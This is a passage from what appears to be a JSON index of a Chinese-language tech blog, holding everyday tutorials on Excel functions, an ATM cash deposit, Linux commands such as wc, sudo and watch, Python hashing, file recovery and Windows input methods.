LOOKUP 的使用方式如下：\n=LOOKUP(查詢值,對應表查詢值範圍,對應表對應值範圍) 第一個查詢值參數就是要拿來準備進行轉換的資料，而第二個與第三個參數分別為對應表中的查詢值與對應值範圍，通常對應表的範圍是固定不便的，所以在撰寫公式時，對應表的範圍在指定時要加上錢字號（$），這樣在向下套用公式時，就可以讓對應表的範圍保持不變。\n以這裡的例子來說，LOOKUP 公式會寫成這樣：\n=LOOKUP(A2,$D$2:$D$6,$E$2:$E$6) 輸入 LOOKUP 的公式之後，就可以依照分數從對應表中查出等第：\n接著再將滑鼠移動至儲存格的右下角，待游標變成十字形狀時，點擊後往下拖曳，將公式套用至下方的所有儲存格。\n將 LOOKUP 查找公式套用至下方的儲存格之後，就可以讓每筆分數資料都產生對應的等第了。\n參考資料 微軟 Office ","permalink":"https://blog.gtwang.org/windows/excel-lookup-function-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 Excel 的 \u003ccode\u003eLOOKUP\u003c/code\u003e 查找函數查詢對應表格，將資料或數值轉換成對應的值。\u003c/p\u003e\n\u003cp\u003e在 Excel 中當我們需要根據特定的對應表，將資料進行某些轉換時，就可以使用 \u003ccode\u003eLOOKUP\u003c/code\u003e 函數，其作用跟 \u003ca href=\"/windows/excel-vlookup-function-tutorial/\"\u003eVLOOKUP 函數\u003c/a\u003e類似，使用者可以自行選擇自己偏好的函數使用。\u003c/p\u003e","title":"Excel LOOKUP 函數教學：查詢表格，找出對應資料"},{"content":"這裡介紹如何使用 7-ELEVEN 的中國信託 ATM 提款機，以跨行存款的方式將現金存入自己的銀行帳戶內。\n現在許多的 ATM 自動提款機都有跨行存款的功能，如果想要把現金存進自己的銀行帳戶，只要到 7-ELEVEN 就可以處理了，不需要特地跑到銀行臨櫃辦理，非常方便。\n以下我示範在 7-ELEVEN 的中國信託 ATM 提款機，把錢存入自己兆豐銀行帳戶的流程。\nStep 1\n使用 7-ELEVEN 的 ATM 提款機之前，先看一下上面的標示，去認是否有「本機提供跨行存款」的標示，有這個標示的話，就可以放心開始使用 ATM 來存款了。\nStep 2\n插入自己的晶片金融卡。\nStep 3\n在主選單中，選擇右上角的「存款（跨行存款）」。\nStep 4\n如果想要把錢直接存入卡片的帳戶，就選擇「存入本張卡片帳號」，如果想要存入其他的銀行帳戶，則選擇「存入其他銀行帳號」。這裡我示範「存入本張卡片帳號」的狀況。\nStep 5\n輸入晶片金融卡的密碼。\nStep 6\n確認每日可存入的額度以及手續費，以我的例子來說，每天可以存入 20 萬元，而每次的跨行存款交易手續費是 15 元。\nStep 7\n確認存入帳戶資料，並選擇是否需要交易成功簡訊通知。\nStep 8\n再確認一次存入帳戶資料。\nStep 9\n這時候 ATM 的點鈔口會打開，請將現鈔清點、整理好之後放入其中。\n將鈔票放入點鈔口時，要注意不要把硬幣、貼紙、迴紋針或橡皮筋這類的雜物也放進去，另外記得把鈔票整理好，不要弄得皺巴巴的。以這台 ATM 機器來說，每次最高可放入 150 張現鈔。\nStep 10\n雖然機器會自動點鈔，但是放進去之前記得自己先點一次金額，以防機器點鈔出錯。\nStep 11\n將鈔票清點完、整理號之後，就像這樣放進去。\n因為是機器點鈔，所以盡可能把紙鈔整理的平整一點，不要有皺褶。\nStep 12\n把鈔票放進去之後，按下螢幕上的「確認鈔票已放妥」。\nStep 13\n接著機器會自動點鈔。\nStep 14\n機器點完鈔票之後，會顯示清點的結果，如果確認金額無誤，就選擇「本人確認存入金額無誤」，但如果機器清點的金額跟自己算的不一樣，請選擇「取消交易」，可再把錢拿回來。\nStep 15\n把現金存入之後，可列印交易明細表。\nStep 16\n取出自己的晶片金融卡。\nStep 17\n取出交易明細表，這樣就完成現金的跨行存款了。\n","permalink":"https://blog.gtwang.org/life/7-eleven-ctbcbank-atm-deposit-tutorial-20180125/","summary":"\u003cp\u003e這裡介紹如何使用 7-ELEVEN 的中國信託 ATM 提款機，以跨行存款的方式將現金存入自己的銀行帳戶內。\u003c/p\u003e\n\u003cp\u003e現在許多的 ATM 自動提款機都有跨行存款的功能，如果想要把現金存進自己的銀行帳戶，只要到 7-ELEVEN 就可以處理了，不需要特地跑到銀行臨櫃辦理，非常方便。\u003c/p\u003e","title":"7-ELEVEN 中國信託 ATM 跨行存款操作教學"},{"content":"本篇介紹如何在 Linux 系統上使用 wc 指令計算資料的字數、行數等統計數據。\nwc 是一個 Linux 的基本指令，可用來計算檔案內容的字數、行數、位元組數等資訊，雖然功能很簡單，但是卻很實用，以下是這個指令的使用方式與範例。\n基本用法 wc 可用來計算指定檔案內容的換行數（newline）、字數（word）與位元組數（byte），例如計算 /etc/motd 與 /etc/os-release 這兩個檔案的字數統計：\nwc /etc/motd /etc/os-release 7 40 286 /etc/motd 9 14 276 /etc/os-release 16 54 562 total wc 會對每一個指定的檔案輸出三個數值，分別代表換行數、字數與字元數，以這個例子來說，輸出的第一行代表 /etc/motd 這個檔案內容總共有 7 行、字數為 40，總共的位元組數則為 286，其餘以此類推。\n從標準輸入讀取資料 wc 跟一般的 Linux 指令工具一樣，亦可從標準輸入讀取資料：\ncat /etc/motd | wc 7 40 286 只計算換行數 若只要計算換行數，可以加上 -l 參數：\nwc -l /etc/motd 7 /etc/motd 只計算字數 若只要計算字數，可以加上 -w 參數：\nwc -w /etc/motd 40 /etc/motd 只計算位元組數 若只要計算位元組數，可以加上 -c 參數：\nwc -c /etc/motd 286 /etc/motd 只計算字元數 若只要計算字元數（character），可以加上 -m 參數：\nwc -m /etc/motd 286 /etc/motd 對於普通英文的資料而言，位元組與字元的數量會是相同的，但如果有中文字的話，就會有些不同：\necho -n \u0026#34;中文\u0026#34; | wc -m 2 echo -n \u0026#34;中文\u0026#34; | wc -c 6 計算最長行的長度 如果想要找出資料中最長那一行的長度，可以加上 -L 參數：\nwc -L /etc/motd 73 /etc/motd 實用範例 這行指令可以用來計算在目前目錄中，所有 Python 指令稿（*.py）的數量：\n# 計算目前目錄下，Python 指令稿的數量 ls *.py | wc -l 參考資料 HowtoForge ","permalink":"https://blog.gtwang.org/linux/linux-wc-command-tutorial-examples/","summary":"\u003cp\u003e本篇介紹如何在 Linux 系統上使用 \u003ccode\u003ewc\u003c/code\u003e 指令計算資料的字數、行數等統計數據。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.gnu.org/software/coreutils/manual/html_node/wc-invocation.html\"\u003ewc\u003c/a\u003e 是一個 Linux 的基本指令，可用來計算檔案內容的字數、行數、位元組數等資訊，雖然功能很簡單，但是卻很實用，以下是這個指令的使用方式與範例。\u003c/p\u003e","title":"Linux 使用 wc 指令計算字數、行數教學與範例"},{"content":"這裡介紹如何在勞保局的網站上，使用自然人憑證查詢勞工退休金個人專戶的資料。\n在台灣的勞退新制中，雇主每個月會提撥工資的 6％ 至勞工的個人退休金專戶，到了勞工退休時，這些錢就當作勞工的退休金，如果想要查詢自己的退休金專戶存了多少錢，可以在勞保局的網站上以自然人憑證登入查詢。\n這裡我以 Mac OS X 系統的 Safari 瀏覽器來示範以自然人憑證查詢勞工退休金個人專戶的流程，其他的系統與瀏覽器在操作上會有一些差異，不過大致的流程是一樣的。\n由於這裡我們要使用自然人憑證來登入，所以請先把讀卡機以及自然人憑證準備好，若沒有自然人憑證的話，可以到戶政事務所申請。\nStep 1\n首先打開勞保局個人網路申報及查詢作業的網頁，第一次使用時會需要下載與安裝安控模組的外掛程式。\nStep 2\n這是軟體許可協議，選擇「繼續」。\nStep 3\n是否同意軟體協議，選擇「同意」。\nStep 4\n選擇安裝路徑。\nStep 5\n確認無誤後，選擇「安裝」。\nStep 6\n輸入密碼。\nStep 7\n安裝完成後，點選「關閉」。\nStep 8\n關閉瀏覽器，重新打開勞保局個人網路申報及查詢作業的網頁，這時候應該就會看到瀏覽器詢問是否要信任外掛模組，請選擇「信任」。\nStep 9\n把自然人憑證插入讀卡機，輸入 IC 卡的密碼、身分證字號、出生日期，然後按下登入。\nStep 10\n登入之後，從左上角的「查詢作業」選單中，選擇「勞工退休金個人專戶資料」。\nStep 11\n這樣就可以查到自己退休金專戶的存款明細了。\n","permalink":"https://blog.gtwang.org/life/bli-labor-personal-account-inquiry-tutorial/","summary":"\u003cp\u003e這裡介紹如何在勞保局的網站上，使用自然人憑證查詢勞工退休金個人專戶的資料。\u003c/p\u003e\n\u003cp\u003e在台灣的勞退新制中，雇主每個月會提撥工資的 6％ 至勞工的個人退休金專戶，到了勞工退休時，這些錢就當作勞工的退休金，如果想要查詢自己的退休金專戶存了多少錢，可以在勞保局的網站上以自然人憑證登入查詢。\u003c/p\u003e","title":"自然人憑證查詢勞工退休金個人專戶存款明細教學"},{"content":"這裡介紹如何在 Excel 中以隨機亂數的方式打亂資料列的排列順序。\n在 Excel 中如果要製作口試順序、期末報告順序這類的表格時，通常為了公平性，我們可能會以隨機的方式來決定排序，而在 Excel 中我們可以結合亂數與排序的功能，達到隨機排序的效果。\n假設我們一個人員名單的 Excel 檔如下，其中包含人員的編號以及姓名。\n如果我們想要把這份人員名單的順序打亂，可以依照以下步驟來操作。\nStep 1\n首先在資料後方新增一欄「亂數」欄位，然後在第一個空格內，使用 Excel 的 RAND 函數產生亂數。\n關於 Excel 的 RAND 亂數使用方法，請參考 Excel 產生各種亂數的公式整理與函數教學。\nStep 2\n將滑鼠移動至剛剛產生亂數儲存格的右下角，在滑鼠游標變成十字形狀時，點擊並往下拖曳，將 RAND 函數套用至以下所有的儲存格中。\n這樣就產生了新的一欄亂數欄位，接著我們就只要依照這一欄亂數欄位來進行排序，這樣排出來的結果就是亂的，也就達到隨機排序的效果。\nStep 3\n選擇要進行隨機排序的資料範圍，選擇時記得要把新增的亂數欄位一起選擇進去，接著從「常用」工具列中選擇「排序與篩選」的「自訂排序」功能。\nStep 4\n排序的欄位請選擇剛剛新增的「亂數」欄位，其餘的選項都用預設值即可，然後按下「確定」。\n後方的順序其實可以隨便選，因為它的數值都是隨機產生的，所以不管以「最小到最大」來排序，或是「最大到最小」來排序，都會產生隨機排序的效果。\nStep 5\n這樣就完成隨機排序的人員名單了，而排序完成後，就可以把剛剛新增的亂數欄位刪除，留下我們需要的資料欄位即可。\nExcel 在經過排序之後，會自動重新產生儲存格內公式的計算結果，所有的亂數在排序完之後，又會重新產生新的亂數，因此如果我們不滿意第一次的排序結果，可以直接按照相同的步驟再排序一次，就可以得到不同的隨機排序結果。\n","permalink":"https://blog.gtwang.org/windows/excel-random-sort-shuffle-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Excel 中以隨機亂數的方式打亂資料列的排列順序。\u003c/p\u003e\n\u003cp\u003e在 Excel 中如果要製作口試順序、期末報告順序這類的表格時，通常為了公平性，我們可能會以隨機的方式來決定排序，而在 Excel 中我們可以結合亂數與排序的功能，達到隨機排序的效果。\u003c/p\u003e","title":"Excel 隨機重新排序資料教學與範例"},{"content":"這裡介紹如何使用 Python 的 hashlib 模組計算資料的 MD5 與 SHA 雜湊值。\nPython 內建的 hashlib 模組可以用來計算資料的各種雜湊值，其中 md5、sha1、sha224、sha256、sha384 與 sha512 這幾種演算法是任何平台都有支援的，除此之外的演算法就要看平台本身的 OpenSSL 函式庫而定。\n計算 MD5 雜湊值 若要計算資料的 MD5 雜湊值，可以使用 hashlib 模組的 md5() 建立一個 MD5 演算法的物件，再將資料輸入其中計算雜湊值，以下是在 Python 2 之下的實作版本：\n#!/usr/bin/python # -*- coding: utf-8 -*- # 引入 hashlib 模組 import hashlib # 建立 MD5 物件 m = hashlib.md5() # 要計算 MD5 雜湊值的資料 data = \u0026#34;G. T. Wang\u0026#34; # 更新 MD5 雜湊值 m.update(data) # 取得 MD5 雜湊值 h = m.hexdigest() print(h) 6871bb74e606dc7b4988b643e4870a8d 上面這段程式碼若在 Python 3 中執行，會產生類似這樣的錯誤訊息：\nTypeError: Unicode-objects must be encoded before hashing 解決的方法是先讓資料經過編碼之後，再放進 hashlib 計算雜湊：\n#!/usr/bin/python3 import hashlib m = hashlib.md5() data = \u0026#34;G. T. Wang\u0026#34; # 先將資料編碼，再更新 MD5 雜湊值 m.update(data.encode(\u0026#34;utf-8\u0026#34;)) h = m.hexdigest() print(h) 6871bb74e606dc7b4988b643e4870a8d 計算檔案的 MD5 雜湊值 如果要計算一個檔案的 MD5 雜湊值，可以將檔案內容讀取之後，再放進 MD5 演算法的物件來計算雜湊值：\n#!/usr/bin/python # -*- coding: utf-8 -*- import hashlib # 輸入檔案名稱 filename = \u0026#34;my_data.txt\u0026#34; m = hashlib.md5() # 讀取檔案內容，計算 MD5 雜湊值 with open(filename, \u0026#34;rb\u0026#34;) as f: buf = f.read() m.update(buf) h = m.hexdigest() print(h) 如果檔案比較大的話，可以分批次讀取，每次讀取一部分的內容，使用 update 來更新 MD5 雜湊值，這樣程式的效率會比較好：\n#!/usr/bin/python # -*- coding: utf-8 -*- import hashlib filename = \u0026#34;my_data.txt\u0026#34; m = hashlib.md5() with open(filename, \u0026#34;rb\u0026#34;) as f: # 分批讀取檔案內容，計算 MD5 雜湊值 for chunk in iter(lambda: f.read(4096), b\u0026#34;\u0026#34;): m.update(chunk) h = m.hexdigest() print(h) 這樣計算出來的 MD5 雜湊值應該會跟 md5sum 指令所算出來的值相同：\nmd5sum my_data.txt 計算 SHA 雜湊值 若要計算 SHA 類型的雜湊值，只要把演算法更改一下即可，以下是計算 SHA1 雜湊值的範例：\n#!/usr/bin/python # -*- coding: utf-8 -*- import hashlib # 建立 SHA1 物件 s = hashlib.sha1() data = \u0026#34;G. T. Wang\u0026#34; s.update(data) h = s.hexdigest() print(h) baa7cc8598a4753c5d71d07e6cc6242ef0994d63 其他雜湊演算法 我們可以透過 hashlib.algorithms_available 得知在目前的平台上，hashlib 所支援的所有雜湊演算法：\n# 可用的雜湊演算法 print(hashlib.algorithms_available) {'sha256', 'MD5', 'MD4', 'sha384', 'dsaWithSHA', 'SHA224', 'ripemd160', 'SHA512', 'SHA', 'sha', 'SHA384', 'md5', 'sha512', 'DSA', 'RIPEMD160', 'md4', 'whirlpool', 'SHA256', 'dsaEncryption', 'sha1', 'ecdsa-with-SHA1', 'DSA-SHA', 'SHA1', 'sha224'} 以上這些演算法雖然很多，但只限於目前的系統使用，如果要發展跨平台的程式，應該要以跨平台通用的雜湊演算法為主，這些跨平台的演算法可以透過 hashlib.algorithms_guaranteed 查詢：\n# 跨平台通用的雜湊演算法 print(hashlib.algorithms_guaranteed) {'sha256', 'sha384', 'sha1', 'md5', 'sha512', 'sha224'} 參考資料 Python 官方文件 ","permalink":"https://blog.gtwang.org/programming/python-md5-sha-hash-functions-tutorial-examples/","summary":"\u003cp\u003e這裡介紹如何使用 Python 的 \u003ccode\u003ehashlib\u003c/code\u003e 模組計算資料的 MD5 與 SHA 雜湊值。\u003c/p\u003e\n\u003cp\u003ePython 內建的 \u003ccode\u003ehashlib\u003c/code\u003e 模組可以用來計算資料的各種雜湊值，其中 \u003ccode\u003emd5\u003c/code\u003e、\u003ccode\u003esha1\u003c/code\u003e、\u003ccode\u003esha224\u003c/code\u003e、\u003ccode\u003esha256\u003c/code\u003e、\u003ccode\u003esha384\u003c/code\u003e 與 \u003ccode\u003esha512\u003c/code\u003e 這幾種演算法是任何平台都有支援的，除此之外的演算法就要看平台本身的 OpenSSL 函式庫而定。\u003c/p\u003e","title":"Python 計算 MD5 與 SHA 雜湊教學與範例"},{"content":"這裡介紹如何使用 EaseUS Data Recovery Wizard 這套免費的檔案資料救援軟體，救回硬碟中被刪除的檔案。\n一般人平常在電腦上工作時，難免會遇到誤刪檔案的窘境，如果只是按下 Delete 鍵丟進資源回收桶，那我們可以輕鬆從資源回收桶中找回檔案，但是如果是按下 Shift + Delete 鍵直接刪除的話，那就要使用檔案救援軟體來處理了。\nEaseUS Data Recovery Wizard 是一套免費的資料救援軟體，可以用來回復桌上型電腦、隨身碟、記憶卡、數位相機等設備上刪除的檔案，支援 Windows 與 Mac OS X 作業系統，是一個非常實用的工具軟體。\nEaseUS Data Recovery Wizard 的操作方法非常簡單，沒經驗的使用者也可以輕鬆上手使用，以下是在 Windows 10 中救回刪除檔案的步驟。\n下載與安裝 EaseUS Data Recovery Wizard 先從 EaseUS 官方網站上下載 EaseUS Data Recovery Wizard 免費版的安裝檔，接著依照以下步驟安裝。\nStep 1\n執行下載下來的安裝檔，首先選擇安裝時所使用的語言，它有支援繁體中文，所以對於不熟悉英文的人也很方便。\nStep 2\n開始安裝 EaseUS Data Recovery Wizard，點選「下一步」。\nStep 3\n這是軟體的「許可協議」，閱讀完後點選「接受」，即可繼續安裝。\nStep 4\n選擇軟體安裝路徑，這裡要非常注意一點，EaseUS Data Recovery Wizard 軟體「不可以」跟想要救回的檔案放在同一個分割區。例如它預設的路徑是 C 槽，但是如果您想要救回的檔案剛好也在 C 槽，就不可以把 EaseUS Data Recovery Wizard 軟體也裝在 C 槽，必須換另外一個磁碟分割區安裝（例如 D 槽等）。\n如果不慎將軟體安裝在遺失檔案所在的分割區，有可能會造成新檔案覆蓋掉已刪除檔案的磁碟儲存位置，導致被刪除的檔案無法救回，所以安裝時一定要注意。\nStep 5\n選取附加工作，可選擇是否要在桌面上建立捷徑，以及快速執行列的捷徑。設定好之後點選「安裝」。\nStep 6\n等待安裝過程。\nStep 7\n安裝完成。\n當安裝程式執行完畢之後，在桌面上應該就可以看到 EaseUS Data Recovery Wizard 的啟動捷徑了，當我們需要救回刪除的檔案時，就可以使用它。\n救回刪除的檔案 這裡我拿一個 8GB 的隨身碟來示範如何救回刪除的檔案，假設我的隨身碟中有許多的檔案：\n我先將隨身碟內的部分檔案刪除，再用 EaseUS Data Recovery Wizard 把檔案救回來。由於在 Windows 10 系統之下，隨身碟中的檔案是無法使用資源回收桶的，按下 Delete 按鍵之後，只能直接刪除，也就是說萬一在隨身碟中誤刪檔案，也只能靠 EaseUS Data Recovery Wizard 這樣的軟體才能救回。\n這是刪除部分檔案之後的隨身碟，要救回被刪除的檔案除了要使用 EaseUS Data Recovery Wizard 這類的救援軟體之外，還要記得在檔案被誤刪之後，「不可以」在隨身碟中新增其他的檔案，否則可能會造成以刪除的檔案位置被覆蓋，這樣救回檔案的機率會變低。\nStep 1\n首先打開 EaseUS Data Recovery Wizard，開啟之後它會自動掃描目前電腦上所有的儲存媒體，包含所有的硬碟、隨身碟或是相機等設備，請在這個視窗中選擇已被刪除檔案的所在位置，然後點選下方的「掃描」按鈕。\nStep 2\n掃描的類型分為快速掃描與深度掃描，快速掃描的結果一下子就出來了，而深度掃描則比較慢，我們可以先從快速掃描的結果來看看是否有我們要救回的檔案，如果找不到我們想要的檔案，則再從深度掃描結果中尋找。\nStep 3\n如果是一般磁碟區的誤刪檔案問題，我們通常可以從快速掃描結果中找到剛剛被刪除的檔案。\nStep 4\n如果在搜尋結果中的檔案太多，不容易找尋自己的檔案的話，可以使用上方的檔案類型篩選功能，只顯示特定類型的檔案，這樣可以讓我們更快找到自己想要的檔案。\nStep 5\n當找到要復原的檔案之後，將檔案勾選起來，然後按下右下角的「恢復」按鈕。\nStep 6\n選擇復原檔案的儲存位置，這裡的原則跟安裝軟體一樣，要跟原來已刪除檔案的位置有所區別，否則可能會造成檔案救不回來！\nStep 7\n等待檔案復原。\nStep 8\n檔案復原完成，這裡會顯示救回檔案的放置路徑。\n打開上面這個路徑，就可以看到被救回的檔案內容了。免費版的 EaseUS Data Recovery Wizard 可以讓我們救回 500 MB 的檔案，透過社群網路跟好友分享的話，還可以獲得更多的配額。\n救回格式化磁碟內的檔案 除了誤刪檔案之外，EaseUS Data Recovery Wizard 也可以用來救回格式化磁碟內的檔案，我們直接拿上面的 8GB 隨身碟來格式化，格式選項選擇預設的「快速格式化」。\n經過格式化過後的隨身碟，看起來當然就是空的，這種狀況下我們還是有一些機會可以使用 EaseUS Data Recovery Wizard 來救回部分的檔案的。\nStep 1\n要救援格式化磁碟內的檔案，操作步驟幾乎相同，首先打開 EaseUS Data Recovery Wizard，選擇儲存媒體，這裡我們選擇剛格式化完的 8GB 隨身碟，然後點選「掃描」。\nStep 2\n在掃描格式化後的磁區時，應該只會看到深度掃描的結果（快速掃描找不到檔案），所以要稍微等待一下。\nStep 3\n深度掃描完成後，會有好幾的分類，接著就從這些分類中尋找想要的檔案，找到之後並勾選之後，按下「恢復」按鈕就可以救回了，操作方式也是很單純。\n在剛格式化完的隨身碟中，現有分割區應該是沒有什麼檔案的。\n我們有興趣的檔案應該會在遺失的分割區中，而這裡的目錄名稱已經遺失了，所以在這裡尋找檔案時，不要去管目錄名稱，直接點進去看檔案才會知道裡面是什麼。\n運氣好的話，可能就可以找到自己要的檔案了。\n如果檔案數量很多，記得善用檔案類型篩選工具。\n","permalink":"https://blog.gtwang.org/free/easeus-data-recovery-wizard-free-software/","summary":"\u003cp\u003e這裡介紹如何使用 EaseUS Data Recovery Wizard 這套免費的檔案資料救援軟體，救回硬碟中被刪除的檔案。\u003c/p\u003e\n\u003cp\u003e一般人平常在電腦上工作時，難免會遇到誤刪檔案的窘境，如果只是按下 \u003ccode\u003eDelete\u003c/code\u003e 鍵丟進資源回收桶，那我們可以輕鬆從資源回收桶中找回檔案，但是如果是按下 \u003ccode\u003eShift\u003c/code\u003e + \u003ccode\u003eDelete\u003c/code\u003e 鍵直接刪除的話，那就要使用檔案救援軟體來處理了。\u003c/p\u003e","title":"EaseUS Data Recovery Wizard 免費檔案資料救援軟體"},{"content":"這裡介紹如何在 Excel 中使用線性迴歸模型分析資料，產生統計報表。\n線性迴歸（linear regression）是統計學上很常被使用的資料分析方法，而在 Excel 中也內建了迴歸分析的工具，讓使用者可以快速產生線性迴歸分析的統計報表。\n以下我們使用鳶尾花資料集（iris）的資料來示範迴歸分析的步驟。\n由於普通的線性迴歸模型只能用來分析連續型的數值資料，如果遇到離散的類別型資料（例如花的品種）就不能放進迴歸模型中，所以這裡我們只會使用到這個資料集的前四欄資料。\n啟用分析工具箱 Excel 的迴歸分析是「分析工具箱」當中的一項功能，使用之前要先啟用「分析工具箱」，以下是啟用的步驟。\nStep 1\n點選主選單的「檔案」。\nStep 2\n點選「選項」。\nStep 3\n在左側選單中選擇「增益集」，接著尋找「分析工具箱」，如果發現它處於「非使用」狀態的話，就點選下方的「執行」，進行增益集的管理。\nStep 4\n將「分析工具箱」這個增益集打勾，按下「確定」。\n這樣就完成「分析工具箱」的啟用動作了。\n簡單線性迴歸 當「分析工具箱」成功啟用之後，就可以開始進行資料的迴歸分析了。\nStep 1\n從 Excel 的「資料」籤頁中，選擇「資料分析」功能。\nStep 2\n在資料分析功能中，有非常多的分析工具，請選擇「迴歸」。\nStep 3\n設定迴歸模型的輸入資料與各種選項。\n以下是各個重要選項的簡要說明：\n項目 說明 輸入 Y 範圍 反應變數，只能有一欄。 輸入 X 範圍 解釋變數，可以是一欄或多欄。 標記 變數資料範圍的第一列是否就是變數的名稱。 常數為零 設定迴歸模型的截距項為零（迴歸線通過原點）。 信賴度 參數區間估計的信賴水準（confidence level）。 殘差 輸出每筆資料的殘差值（residual）。 常態機率圖 畫出常態分佈的 QQ 圖（quantile-quantile plot）。 這裡我拿第一欄的 sepal length 當作反應變數 Y，而 petal width 當作解釋變數 X，並輸出殘差與殘差圖。\nStep 4\n執行 Excel 的「迴歸」功能之後，就會產生類似這樣的報表。\n如果修過迴歸分析的人，直接看這張報表應該就可以理解整個迴歸模型了，以下大約標示出幾個重點數值，首先要看一下 R 平方（R-squared），它是介於 0 到 1 之間的數值，愈接近 1 愈好（通常是這樣，但也有例外）。\n接著看一下模型的 F 統計量與各係數的 t 統計量對應的 p-value，以這個例子來說都非常顯著，所以解釋變數與常數在模型中都有作用，算是還不錯的模型。\n確認模型沒問題的話，就可以把配適出來的係數拿出來使用了。\n我們也可以把多個解釋變數都放進迴歸模型中配適，操作方法都相同，只是在選擇輸入 X 的時候，選擇多欄的資料而已。\n以下我拿第一欄的 sepal length 當作反應變數 Y，而將其餘三欄資料都當作解釋變數 X，產生的報表會像這樣。\n參考資料 ExcelDemy.com Excel Easy ","permalink":"https://blog.gtwang.org/windows/excel-regression-analysis-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Excel 中使用線性迴歸模型分析資料，產生統計報表。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://zh.wikipedia.org/wiki/%E7%B7%9A%E6%80%A7%E5%9B%9E%E6%AD%B8\"\u003e線性迴歸（linear regression）\u003c/a\u003e是統計學上很常被使用的資料分析方法，而在 Excel 中也內建了迴歸分析的工具，讓使用者可以快速產生線性迴歸分析的統計報表。\u003c/p\u003e","title":"Excel 線性迴歸分析教學與範例"},{"content":"這裡介紹如何讓 Linux 的 sudo 在使用者輸入密碼時，可以顯示星號表示輸入密碼的長度。\n大部分的應用程式在輸入密碼時，都會以星號的方式表示輸入的密碼，讓使用者有感覺正在輸入密碼，不過 Linux 的 sudo 在使用者輸入密碼時，預設是不會顯示這種星號的，這種設計很容易讓人感覺程式沒反應。\n如果想讓 sudo 也可以出現星號，可以調整一下 sudo 的設定，以下是設定的步驟。\nStep 1\n以管理者權限執行 visudo 指令，編輯 sudoers 設定檔：\nsudo visudo Step 2\n在設定檔中找到有許多 Defaults 設定的位置。\nStep 3\n在 Defaults pwfeedback 那一行之後，加上一行：\nDefaults pwfeedback 修改後設定檔會變成這樣：\nStep 4\n儲存後離開 vi 編輯器，這樣就完成設定了。\n接著開啟新的終端機，此時 sudo 在使用者輸入密碼時，就會顯示星號了。\n關於 sudoers 設定檔的語法與選項說明，可以參考它的線上手冊：\nman sudoers 參考資料 Tecmint HTG ","permalink":"https://blog.gtwang.org/linux/show-asterisks-sudo-password-in-linux/","summary":"\u003cp\u003e這裡介紹如何讓 Linux 的 \u003ccode\u003esudo\u003c/code\u003e 在使用者輸入密碼時，可以顯示星號表示輸入密碼的長度。\u003c/p\u003e\n\u003cp\u003e大部分的應用程式在輸入密碼時，都會以星號的方式表示輸入的密碼，讓使用者有感覺正在輸入密碼，不過 Linux 的 \u003ccode\u003esudo\u003c/code\u003e 在使用者輸入密碼時，預設是不會顯示這種星號的，這種設計很容易讓人感覺程式沒反應。\u003c/p\u003e","title":"Linux 如何讓 sudo 顯示星號表示輸入的密碼長度"},{"content":"這裡介紹如何在 Windows 10 系統中新增、移除或設定中文輸人法，例如注音、倉頡、大易與行列等輸入法。\nWindows 10 有內建多種中文輸入法，但是預設只會開啟最常用的注音輸入法，如果想要使用倉頡、大易或行列等輸入法，可以從 Windows 10 的設定功能中啟用這些輸入法，並且調整各種輸入法的選項設定，以下是操作步驟。\nStep 1\n在 Windows 10 的主選單中，點選「設定」。\nStep 2\n點選「時間與語言」。\nStep 3\n從左側選單選擇「地區與語言」，接著選擇語言中的「中文（台灣）」。\nStep 4\n點選「中文（台灣）」的「選項」。\nStep 5\n在「鍵盤」的區塊中會列出目前所有被啟用的輸入法，預設應該只有微軟注音一項而已，若要新增額外的中文輸入法，可以點選「新增鍵盤」。\nStep 6\n選擇要新增的輸入法，Windows 10 內建的中文輸入法有中文繁體大易、中文繁體行列、微軟注音、微軟倉頡、微軟速成。\n選擇輸入法之後，該輸入法就會立即被啟用，這樣就完成新增輸入法的動作了。\nStep 7\n如果要調整輸入法的選項，或是刪除輸入法，可以直接點擊清單上面的輸入法進行編輯。\nStep 8\n點選輸入法之後，可以選擇「選項」進行編輯，或是點選「移除」將此輸入法刪除。\nStep 9\n在輸入法的選項編輯室窗中，有許多可調整的選項，每一種輸入法的選項都不同，請依照個人的需求調整。\n輸入法新增或調整後會馬上生效，從桌面右下角的系統工具列中即可看到新的輸入法。\n要使用不同的輸入法，除了以滑鼠點選之外，也可以透過鍵盤的快速鍵來切換，預設的快速鍵如下：\n快速鍵 說明 Ctrl + 空白鍵 開啟、關閉中文模式。 Ctrl + Shift 在中文模式下，切換中文輸入法。 Shift 在中文模式下，切換中文與英文輸入。 ","permalink":"https://blog.gtwang.org/windows/windows-10-chinese-input-method-configuration/","summary":"\u003cp\u003e這裡介紹如何在 Windows 10 系統中新增、移除或設定中文輸人法，例如注音、倉頡、大易與行列等輸入法。\u003c/p\u003e\n\u003cp\u003eWindows 10 有內建多種中文輸入法，但是預設只會開啟最常用的注音輸入法，如果想要使用倉頡、大易或行列等輸入法，可以從 Windows 10 的設定功能中啟用這些輸入法，並且調整各種輸入法的選項設定，以下是操作步驟。\u003c/p\u003e","title":"Windows 10 中文輸人法新增、移除、切換設定教學"},{"content":"這裡介紹如何在 Linux 系統中使用 watch 自動重複執行特定程式，監看輸出結果。\n當我們在 Linux 的終端機中工作時，有時後會需要重複執行某些固定的指令，查看最新的執行結果，例如在進行網頁伺服器得除錯工作時，我們可能就會重複執行這樣的指令，監看錯誤訊息紀錄檔：\n# 輸出最新的網頁伺服器錯誤訊息 tail /var/log/httpd/error_log 當然我們可以重複的按下向上的方向鍵，然後按下 Enter 執行，但其實有更好的辦法，就是使用 watch 將這個動作自動化。\nwatch 重複執行固定指令 watch 是一個專門用來重複執行固定指令，並且監看輸出訊息的小工具，以上面監看網頁伺服器錯誤訊息紀錄檔的例子來說，我們就可以使用 watch 來執行：\n# 自動監看最新的網頁伺服器錯誤訊息 watch tail /var/log/httpd/error_log watch 會不斷的自動重複執行指定的指令，並將最新的輸出顯示化畫面上。\n在輸出的畫面上方會標示目前 watch 所執行的指令內容、間隔時間，以及上一次執行的時間點，這個畫面會自動更新，使用者可以很方便的看到最新的結果。\n更新速度 在預設的狀態下，watch 會每間隔幾秒鐘執行一次指令（不同的系統預設值不同），產生最新的輸出訊息，若要加快或放慢更新的速度，可以使用 -n 參數指定執行指令的間隔時間，例如讓 watch 每 0.5 秒更新一次：\n# 每 0.5 秒更新一次 watch -n 0.5 tail /var/log/httpd/error_log watch 更新的間隔時間不可低於 0.1 秒。\n標示輸出差異處 